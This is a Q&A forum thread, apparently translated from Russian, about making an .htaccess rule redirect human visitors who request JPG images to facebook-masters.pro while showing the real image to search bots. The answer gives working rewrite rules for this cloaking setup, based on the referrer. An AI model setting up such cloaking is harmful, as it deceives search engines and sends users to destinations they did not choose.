A
A
Alexander2017-01-20 22:53:00
JPEG
Alexander, 2017-01-20 22:53:00

How to add a redirect exception to htaccess?

Greetings to all
There is an htaccess with the rule:
RewriteEngine On
RewriteCond %{REQUEST_URI} jpg
RewriteRule .* https://facebook-masters.pro/ [R=301,L]
According to the rule, when you go to a url with a picture, a redirect occurs werden.cf/200 .jpg
How to add an exception for all (or for a specific) bot, so that it is not redirected anywhere on request for a picture, but shows the picture itself? Those bots see the picture itself and people go to the url according to the prescribed rule

Answer the question

In order to leave comments, you need to log in

1 answer(s)
V
Vitaliy Orlov, 2017-01-21
@technokid321

So:

RewriteEngine On
RewriteCond %{REQUEST_URI} jpg            # если запрошена картинка
RewriteCond %{HTTP_REFERER} google [OR]   # и это гугл или
RewriteCond %{HTTP_REFERER} yahoo         # это яху
RewriteRule ^ - [L] # ничего не делаем

or so
RewriteEngine On
RewriteCond %{REQUEST_URI} jpg         # если запрошена картинка
RewriteCond %{HTTP_REFERER} !google    # и это не гугл
RewriteCond %{HTTP_REFERER} !yahoo     # и это не яху
RewriteRule .* https://facebook-masters.pro/ [R=301,L]  # перенаправляем

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question